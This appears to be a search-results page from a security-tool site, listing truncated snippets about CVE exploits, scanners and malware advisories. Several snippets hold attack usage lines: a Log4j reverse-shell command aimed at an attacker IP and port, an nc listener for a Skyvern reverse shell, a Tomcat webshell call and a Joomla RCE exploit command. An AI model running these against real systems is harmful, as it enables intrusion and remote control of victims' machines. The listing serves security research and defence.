2462715 matches found
CVE-2025-24813-apache-tomcat
CVE-2025-24813 Nuclei Template CVE-2025–24813 root@kitploit: nuclei -l list.txt -t CVE-2025–24813.yaml execute shell root@kitploit: http://target.com/updates.jsp?cmd=whoami...
CVE-2026-54280
A flaw was found in AIOHTTP, an asynchronous HTTP client/server framework. A remote attacker could exploit this vulnerability by disconnecting during a payload write, leading to improper closure of resources. This can cause temporary resource starvation, resulting in a Denial of Service DoS...
Struts2Shell
Struts2Shell An exploit and library for CVE-2017-5638 - Apache Struts2 S2-045 bug. Installation root@kitploit: $ npm install -g struts2shell Installation as Library root@kitploit: $ npm install struts2shell Command Line Options root@kitploit: -h, --help output usage information -V, --version outp...
CVE-2022-45988
CVE-2022-45988 StarSoftComm HP CooCare An elevation of privilege vulnerability exists I have contacted with hp-security-alert They have fixed this bug. About StarSoftComm CooCare HP-PSRT-IR 4106 The vendor responded with the following information: Follow these steps to update: 1. Launch eService ...
CVE-2018-19422-SubrionCMS-RCE
CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 Authenticated Remote Code Execution /panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these. Exploit Usage Commands: Windows/Linux: $ sudo python3...
MAL-2026-16480 Malicious code in a-onesite (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1b1ed6ca931448c083b5356eae6ad5af3cce9011d70fce4ce4ad427349991856 [email protected] ships an empty index.js and no library functionality. Its package.json declares preinstall, preupdate, and test scripts that all...
Malicious code in a-onesite (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1b1ed6ca931448c083b5356eae6ad5af3cce9011d70fce4ce4ad427349991856 [email protected] ships an empty index.js and no library functionality. Its package.json declares preinstall, preupdate, and test scripts that all...
rdpscan
针对 CVE-2019-0708 bluekeep 漏洞的 rdpscan 扫描器 这是一个针对 Microsoft 远程桌面中 CVE-2019-0708 漏洞的快速简陋扫描器。目前，公共互联网上约有 90 万台机器易受此漏洞影响，因此预计很快会出现类似 WannaCry 和 notPetya 的蠕虫。因此，请扫描您的网络，并对易受攻击的系统进行修补（或至少启用 NLA）。 这是一个命令行工具。您可以下载源代码自行编译，也可以从上述链接下载适用于 Windows 或 macOS 的预编译二进制文件。 此工具完全基于...
Joomla-3.4.6---configuration.php-Remote-Code-Execution
Joomla-3.4.6---configuration.php-Remote-Code-Execution Affected versions: 3.0.0-3.4.6 1. Vulnerability verification python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 If "Vulnerable" is displayed, the vulnerability exists. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126...
TomcatKiller-CVE-2025-31650
TomcatKiller-CVE-2025-31650 Una herramienta diseñada para detectar la vulnerabilidad CVE-2025-31650 en Apache Tomcat versiones 10.1.10 a 10.1.39 Esta vulnerabilidad permite a un atacante provocar una fuga de memoria enviando solicitudes HTTP/2 especialmente manipuladas con encabezados de priorida...
THM-Tempest
TryHackMe — Tempest SOC Level 1 Pathway | Incident Response Investigation Overview Full incident response investigation of a compromised Windows machine. The attacker gained initial access via a malicious Word document exploiting CVE-2022-30190 Follina, established persistence, tunneled through t...
CVE-2025-66478
1 root@kitploit: POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data;...
CMS-Made-Simple-2.2.9-CVE-2019-9053
Disclaimer This repository provides a Python 3 compatible exploit targeting an unauthenticated SQL injection vulnerability in CMS Made Simple versions 2.2.9 and earlier. The flaw, tracked as CVE-2019-9053, allows attackers to extract sensitive administrator data, including username, hashed...
CVE-2025-49619
CVE-2025-49619 PoC This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command. Author Name: Cristian Branet GitHub: cristibtz Usage 1. Start a listener root@kitploit: nc -lvnp 2. Run the exploit root@kitploit: python3 exploit.py -u "http://:" -k "" -i -p : Skyvern server IP...
inhale
Inhale - 恶意文件吸入器 Inhale 是一款恶意软件分析与分类工具，能够自动化并扩展多种静态分析操作。 此为测试版发布版本，用于测试、反馈及社区开发。 背景 Inhale 最初是我在从多个来源收集和分析大量恶意软件时使用的一系列小脚本。市面上已有许多框架和工具可以完成类似工作，但没有一个能真正匹配我快速查找、分类和存储大量文件信息的工作流程。有些工具还要求昂贵的 API 密钥及其他付费服务。 最终我将这些脚本整合成了一个可以快速部署和使用的工具，无论你是在研究服务器、笔记本电脑还是像树莓派这样低成本的计算机上运行都可以。 安装 本工具设计在 Linux 系统上运行，依赖...
isslfix
iOS : iSSLFix: Certificate in chain starting at has isCA=0 = possible MITM attempt, making valida...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Usage root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l...
burp-radamsa
burp-radamsa Radamsa fuzzer extension for Burp Suite http://raz0r.name/releases/burp-radamsa...
domain_analyzer
Domain Analyzer v0.8.3 功能说明 Domain analyzer 是一款安全分析工具，能够自动发现并报告有关指定域的信息。其主要目的是以无人值守的方式分析域。 它拥有许多疯狂的功能，例如从 DNS 区域获取更多域、自动 nmap、网络爬虫以及世界统治模式。查看功能。 如果你希望 nmap 扫描更多端口、运行脚本，并在这些网站上运行爬虫，则需要拥有 root 权限。 默认选项示例 参见 asciinema 上的演示：https://asciinema.org/a/466274 运行原理 Domain analyzer 接收一个域名，并查找其相关信息，例如 DNS...
